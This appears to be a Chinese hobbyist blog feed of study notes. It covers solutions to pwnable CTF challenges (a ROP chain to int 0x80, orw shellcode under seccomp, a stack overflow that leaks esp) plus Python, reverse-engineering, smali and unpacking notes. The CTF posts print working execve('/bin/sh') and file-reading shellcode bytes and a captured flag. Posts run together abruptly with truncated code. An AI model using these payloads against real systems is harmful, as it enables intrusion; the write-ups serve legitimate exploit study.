明白之后继续看,会发现将单独出现的0都过滤了(防止出现除数为0)
这个地方出现了两个有点问题的地方,第一,atoi是有极限的,我记得好像是最高位为1的时候翻译就会一直为0还是什么的。。。然后是第二个,就是打了??的位置,这段要是直接理解起来的话意思为
1 | 0808F2D3 xor eax, eax |
然后为了实现能够将数据字符串放入栈中,我们可以直接同过往其中写入数据的方式,将/bin/sh写入数据栈中,但是此时为了能够让ebx正好指向这个栈的位置,我们需要将这个过程放在最后执行,然后通过寻找pop ebx 的方法将数据的地址放到:
1 | 080701D0 pop edx |
由于此时是打开了ASTL的,所以我们得通过printf来将我们需要的目的数据泄漏才行。由于我们已知栈中的情况为
也就是说,此时通过加入数据可以通过返回值指向为0x080701d0,然后将edx,ecx,ebx值修改为我们想要的值(其中ebx的值要在最后计算出来)
然后
1 | 08049a21 int 0x80;触发中断 |
最后触发这个位置的中断,我们就可以完成我们的攻击。
那么综上所述,我们的栈应该变成如下的样子:
然后最后,每次都先获得相关值,通过计算出栈中值和当前值的offset,然后通过下一次输入数据的时候输入【当前地址+offset】完成地址的修改。
发现太久没写代码,这段代码写的不是一般的烂啊。。。。然后得到如下的答案:
测试过程中发现,似乎edx的值不去理会也没有太大问题?
第一次边界溢出成功!
附上代码
1 | # -*- coding:utf-8 |
题目不知道在说什么意思,要求我们从“/home/orw/flag”地址读取flag,而且还限制了只能时候用read
,write
,open
函数,那么就先下载下看看。
首先发现这个函数居然要我们输入shellcode,并且主动的执行shellcode。。。。看起来不是很好做了
首先在这里会看到一个奇怪的函数
这个orw_ seccomp内部做了如下的事情
第一行进行了栈溢出保护
prctl是一个设置进程的函数,第一个设置了PR_SET_NO_NEW_PRIVS,如果不经过execve的话,不允许设置useriID等,相当于不能直接提权
第二个proctl限制了可以使用的system calls
这个prctl好像很复杂,这里有 https://www.kernel.org/doc/Documentation/prctl/seccomp_filter.txt
prctl采用一个附加的参数,它使用BPF程序(就是一个程序,用于过滤可用的系统调用)指定一个新的过滤器。
BPF程序的执行将利用到结构体seccomp_data,反映系统调用号,参数和其他元数据。然后,BPF程序必须返回一个可接受的值,以通知内核应该采取哪个动作。
用法:
prctl(PR_SET_SECCOMP,SECCOMP_MODE_FILTER,prog);
'prog’参数是一个指向结构体sock_fprog的指针,它将包含过滤程序。如果程序无效,调用将返回-1并将errno设置为EINVAL。
如果prog允许fork / clone和execve,任何子进程将被限制为与父进程相同的过滤器和系统调用ABI。
在使用之前,任务必须调用prctl(PR_SET_NO_NEW_PRIVS,1)或在其命名空间中以CAP_SYS_ADMIN权限运行。如果未做到的话,将返回EACCES。此要求确保过滤器程序不能应用于具有比安放它们的任务更高权限的子进程。
此外,如果所连接的滤波器允许prctl(2),则可以在其上层叠附加的滤波器,这将增加评估时间,但是允许在处理的执行期间进一步减少攻击。
根据提示,那么这个函数就完成了题目的限制,所以问题就转换成了只用write和open来输出我们需要的字符串。
然而这个shellcode的长度也是有限制的,200个字节内必须解决问
|%eax |Name |Source |%ebx |%ecx |%edx |
|-------|--------|---------------|--------------|-------|-------|
|5 |sys_open|fs/open.c |const char * |int |int |
|-------|--------|---------------|--------------|-------|-------|
|3 |sys_read|fs/read_write.c|unsigned int |char * |size_t |
|-------|--------|---------------|--------------|-------|-------|
|11 |sys_execve|arch/i386/kernel/process.c|struct pt_regs|
其中sys_execve的参数为:
long ebx; //可执行文件路径的指针(regs.ebx中)
long ecx; //命令行参数的指针(regs.ecx中)
long edx; //环境变量的指针(regs.edx中)
其实下午一直再找 O_RDONLY 的具体值。。。后来自己试出来了是0.。。
sys_read(ebx = fb,ecx = str, edx = size_t)
正准备看的时候。。找到了shell code。。。
1 | "\x31\xc0\x31\xdb\x31\xc9\x31\xd2\xeb\x32\x5b\xb0\x05\x31\xc9\xcd\x80\x89\xc6\xeb\x06\xb0\x01\x31\xdb\xcd\x80\x89\xf3\xb0\x03\x83\xec\x01\x8d\ x0c\x24\xb2\x01\xcd\x80\x31\xdb\x39\xc3\x74\xe6\xb0\x04\xb3\x01\xb2\x01\xcd\x80\x83\xc4\x01\xeb\xdf\xe8\xc9\xff\xff\xff//home//orw//flag" |
shellcode的含义如下
1 | _start: |
最后成功拿到flag~
1 | FLAG{sh3llc0ding_w1th_op3n_r34d_writ3} |
后来发现,这个pwntools有模块可以生成这个shellcode!!!现在记录一下使用
shellcraft模块可以生成指定函数用途的汇编代码,比如说:
1 | print shellcraft.pushstr('/homo/link') |
根据例子应该还有更多的用法,但是我这边总是会炸掉。。说是overflowerror,暂时也没有查明。。。就先这样吧。
]]>执行以后发现是个读入的函数,然后发现如下:
正所谓所有会segmentation fault的程序都可以注入,看出来这里就是一个简单的pwn的位置啦,打开源码如下:
1 | 08048060 <_start>: |
发现非常简单?甚至连main都没有,看起来就是个简单的汇编程序。这里发现在如下位置:
1 | 8048087: 89 e1 mov %esp,%ecx |
进行了系统调用sys_write和sys_read,这里可以看出,寄存器的作用分别如下
寄存器 | 作用 |
---|---|
eax | 中断类型号 |
ebx(bl) | stdout |
ecx | 输出字符串地址 |
edx | 输出字符串长度 |
然后发现,%ebx的值清0了,那么此时相当于变为了stdin,并且将0x3c(60)赋值给了%edx,也就是说,此时使用的【依然是原先的esp】,也就是说这里【可以读入60个字符,而实际上栈里面却只有20的长度】,那么只要构造20个padding,加上函数的返回值就可以轻易的修改。
然而要如何修改呢。。。突然就不会了。。
于是乎只好依靠一下pwntools了,在使用过程中发现如下:
这里居然没有打开nx?!那就是说可以进行shellcode攻击了。虽然开始的时候想要使用pwntools生成,但是好像失败了。。后来从网上找了一段shellcode:
“\x31\xc0\x50\x68\x2f\x2f\x73\x68\x68\x2f\x62\x69”
“\x6e\x89\xe3\x50\x53\x89\xe1\xb0\x0b\xcd\x80”
然后发现远没有自己想的那么简单,由于栈随机化(ASLR)的原因,导致这个栈的地址是不固定的,所以此时跳转的位置需要泄漏出来。。
观察到代码
1 | 08048060 <_start>: |
一开始就将esp的值压到了栈中,所以此时要是能够想办法将栈中的数据打印就好了,然后可以知道
1 | 8048097: cd 80 int $0x80 |
这个函数在最后退栈了,也就是栈原先内容为
退栈后的内容变为:
也就是说,此时让其跳转会到sys_write执行的位置,我们就能够泄漏的到esp的内容,然后利用相对位置,将esp的值进行调整,便能够跳转到指定的位置。由于我们写入的位置为ecx确定的
然而又发现,shellcode几乎都会对栈产生一定的影响,也就是说此时的esp还必须移动到一个对栈中内容无影响的位置上。
最初的样子
然后在完成输出以后变成
在进行了返回值返回后变成
所以假如此时直接跳转到
1 | 8048087: 89 e1 mov %esp,%ecx |
那么此时就会将esp中的值输出来,如果我们从这个位置继续输入的话,那么理论上要构造成这个样子
那么此时完成输出后会变成这样
所以如果我们把0x90替换成我们的shellcode,就能够完成攻击。
发现较短的shellcode都是先不到目的功能,必须伴随的提权,而提权+攻击的代码至少要21byte
1 | \x31\xdb\x8d\x43\x17\x99\xcd\x80\x31\xc9\x51\x68\x6e\x2f\x73\x68\x68\x2f\x2f\x62\x69\x8d\x41\x0b\x89\xe3\xcd\x80 |
所以这里还要换思路。。。。观察代码得到
1 | 8048087: 89 e1 mov %esp,%ecx |
此时的ecx的赋值只发生了一次,相当于如果第一次ret的时候不去干涉这个值和dl,那么此时的输出字符串长度【就为后来设置的0x3c,并且此时指向的依然为原先的字符串位置】也就是说,这一次我们的esp泄露是发生在4*6 = 24个字节之后,并且一旦泄漏之后,我们的空间将会变得非常大!此时再插入shellcode即可
这次要写入的内容总长度为542 + 4
最后。。。成功了!
附上解题代码:
1 | # -*- coding:utf-8 -*- |
(菜鸡也算是走出了第一步了。。终于也是自己做了一题栈溢出)
话说要是以后需要用到动态链接库的时候,可以再从这道题目入手
对字典进行排序的话,就要利用到sorted函数
1 | sorted(one_dic.items(),key = lambda s:s[1],reverse = True) |
这个排序函数的key其实是“排序依据”的意思(回调函数),如果有多个值的话就会按照“分发扑克”的权重方式进行排序
你想创建一个字典,并且在迭代或序列化这个字典的时候能够控制元素的顺序。
使用collections中的OrderedDict模块来完成相关文档collections中包含了很多特殊化处理过的python的容器-dict,list,set 和 tuple。
OrderedDict会记录下键值进入当前字典的顺序
1 | 'book':3, 'apple':4, 'key':14} d = { |
4.有个特别的字典叫做defaultdict,其作用相当于是【当字典里不存在对应的变量的时候,会调用默认的函数对对应的键赋值。
1 | from collections import defaultdict |
假设字典为
1 | z = { |
如何将重复的值去掉呢(指只有abc)
解答:由于dict本身每个键都是唯一的,所以这里我们可以使用dict自身来帮助我们实现唯一
1 | dict([(x, y) for y, x in z.items()]) |
此时返回的字典即为拥有唯一键值的dict
]]>破解思路:
一般破解的思路是:
检查是否加壳->(脱壳)->利用IDA分析函数分布(可以使用搜索string的方法)->利用ob动态调试查找
通过关键API交叉引用查找以及通过对关键API下断点来定位关键函数的代码
分析完程序之后我们发现需要输入数据,利用昨天“查找关键字的方法”查找不到(因为这里对字符串进行了ansi编码,而我们输入的是unicode模式的)所以要换一种方法。有过Win开发经验的话就会记得,弹框的函数为“MessageBox”,这个函数是需要确定。所以我们尝试利用MessageBox来查找该函数的位置(此时还需要知道一个事情,我们使用的MessageBox的函数在win里面其实是一个宏(记得函数颜色是紫色,和宏的颜色是一致的)win通过判断我们程序是否声明使用UNICODE的决定使用的函数种类(不同编码的函数处理方式不同)。所以这里应该调用的是MessageBoxA
做到后来发现,之所以找不到汉字,是以为此时编码方式为ANSI,汉字输入后被编码成了奇怪的东西。。。。。
打开文件后,点击import
import 功能:查看此程序调用了哪些外部的函数(命令?)同样也是输入内容后自动匹配。
键入MessageBoxA后,找到对应函数,双击查看位置
此时利用交叉引用来查询在哪里调用了此函数。
交叉引用(xref):可以知道指令代码相互调用的关系。注意这个功能只能在使用系统定义的api才能生效,自定义函数是不能发挥作用的。
然后此时键入x,发现该函数被调用的次数后,点进去查看。
按下F5还原伪代码,仔细观察发现某个LoadString函数中读取的值与我们的输入值发生了比较。
最后使用Restorator进行了查找(话说restorator不是很会用啊。。。)
OD和IDA中都可以使用<CTRL + G>进行对api的跟踪,通过这个办法能够快速的找到我们需要的API的位置。
之前两天荒废了。。。今天继续
ollydbg可以搞得有一个叫做“调试”-“执行到用户代码”的功能,这个功能下可以把断点社会到用户当前的指令的下一个位置
很多程序都喜欢使用成熟的标准算法来作为注册算法的一个部分,如MD5、Blowfish等。这些算法本身往往就十分复杂和难以你理解,如果从反汇编指令来阅读这些算法则更是难上加难。对于标准算法,实际上我们并不需要知道这些算法的详细计算过程,我们只需要知道是哪一个算法即可,因为标准算法网上都能找到成熟的库文件或者源码等。
PEiD有一个叫做Krypto ANALyzer的插件,使用这个插件可以对程序进行扫描,通过特征匹配来识别程序内部可能用到的一些标准算法。
Krypto ANALyzer的使用方法为:点击PEiD主界面右下角的“=>”按钮,选择“插件”菜单项,然后选择“Krypto ANALyzer”,就可以弹出Krypto ANALyzer插件了。Krypto ANALyzer插件会自动分析程序内部可能用到的标准算法,
今晚赶着学了一下android的smali文件的反编译。。。这里记录一下:
1 | .class public Lcom/example/helloworld/MainActivity; |
表示一个私有字段info, 它的类型为“Ljava/lang/String;”
一些常见的Smali语法如下:
.field private isFlag:z 定义变量 .method 方法 .parameter 方法参数 .prologue 方法开始 .line 12 此方法位于第12行 invoke-super 调用父函数 const/high16 v0, 0x7fo3 把0x7fo3赋值给v0 invoke-direct 调用函数 return-void 函数返回void .end method 函数结束 new-instance 创建实例 iput-object 对象赋值 iget-object 调用对象 invoke-static 调用静态函数
加壳一般是指保护程序资源的方法. 脱壳一般是指除掉程序的保护,用来修改程序资源.
在一些计算机软件里也有一段专门负责保护软件不被非法修改或反编译的程序。它们一般都是先于程序运行,拿到控制权,然后完成它们保护软件的任务。就像动植物的壳一般都是在身体外面一样理所当然(但后来也出现了所谓的“壳中带籽”的壳)。
加壳:其实是利用特殊的算法,对可执行文件里的资源进行压缩,只不过这个压缩之后的文件,可以独立运行,解压过程完全隐蔽,都在内存中完成。它们附加在原程序上通过加载器载入内存后,先于原始程序执行,得到控制权,执行过程中对原始程序进行解密、还原,还原完成后再把控制权交还给原始程序,执行原来的代码部分。加上外壳后,原始程序代码在磁盘文件中一般是以加密后的形式存在的,只在执行时在内存中还原,这样就可以比较有效地防止破解者对程序文件的非法修改,同时也可以防止程序被静态反编译。
输入表中保存的是在程序中调用的定义在其他DLL中的函数信息以及对应的DLL信息。在直接调用windows api的时候,这些api可以再程序的输入表中看到
OD中可以对特定的API设定断点,无论是直接调用的API还是动态调用的APi
int3是留给调试工具使用的中断,调试工具运行后会替换int3的向量,使得中断方式后执行自己的代码。在单步(例如Debug中的命令p)调试程序时,调试工具会将要执行代码的下一条指令改成int 3,这样执行完当前这行代码后就会执行调试工具的代码,而不会继续执行,从而实现单步调试。一些软件为了阻碍被人破解其程序,会估计使用int3,这样一来,利用int3的调试工具就无法正常调试他们的程序了。
汇编中一般体现为如下指令:
1 | mov eax,0CCCCCCCCh |
rep指令的目的是重复其上面的指令.ECX的值是重复的次数.
STOS指令的作用是将eax中的值拷贝到ES:EDI指向的地址.
1 | push ebp |
这个一般是程序的开头,sub这一段当前函数分配局部变量的空间
1 | push ebx |
这三个是一定会有的,ebx是base regiter(基础寄存器,存储储存地址),esi和edi是寄存器压站,保存现场。
对于一个由2个字节组成的16位整数,在内存中存储这两个字节有两种方法:一种是将低序字节存储在起始地址,这称为小端(little-endian)字节序;另一种方法是将高序字节存储在起始地址,这称为大端(big-endian)字节序。
记忆方法:大端——高尾端,小端——低尾端(本机子为小端)
Dump的本意是"倾卸垃圾"、“把(垃圾桶)倒空”。在计算机技术中使用Dump的主要意思仍 然如此,即当电脑运行发现故障后,无法排除而死机,通常要重新启动。为了找出故障的原因 ,需要分析现场(即死机时整个内存的当前状况),在重新启动系统之前要把内存中的一片0、 1(这时它们尤如一堆垃圾)"卸出"保存起来,以便由专家去分析引起死机的原因。技术资料中 把这个"卸出"的过程叫dump;有时把卸出的"内容"也叫dump。国际标准化组织(ISO)把前者定 义为To record,at a particular instant,the contents of all or part of one stora geevice in another storage device.Dumping is usually for the purpose of debuggi n。"译文如下:"在某个特定时刻,把一个存储设备中的全部或部分的内容转录进另一个存储 设备之…
手动脱壳理想的最佳dump时机是指壳已经把程序代码包括资源等数据全部解密、输入表等数据还原但还未填充系统函数地址、DLL则还未重定位,此时dump出来的文件只需修正OEP、ImportTableRVA等信息即可正常运行完成脱壳。”
导入地址表(IAT):Import Address Table 由于导入函数就是被程序调用但其执行代码又不在程序中的函数,这些函数的代码位于一个或者多个DLL 中.当PE 文件被装入内存的时候,Windows 装载器才将DLL 装入,并将调用导入函数的指令和函数实际所处的地址联系起来(动态连接),这操作就需要导入表完成.其中导入地址表就指示函数实际地址
刚刚遭遇了大危机,发现hexo里面不能写一些特殊的字符,比如\{\% %\}
之类的字符,否则的话会爆炸。。。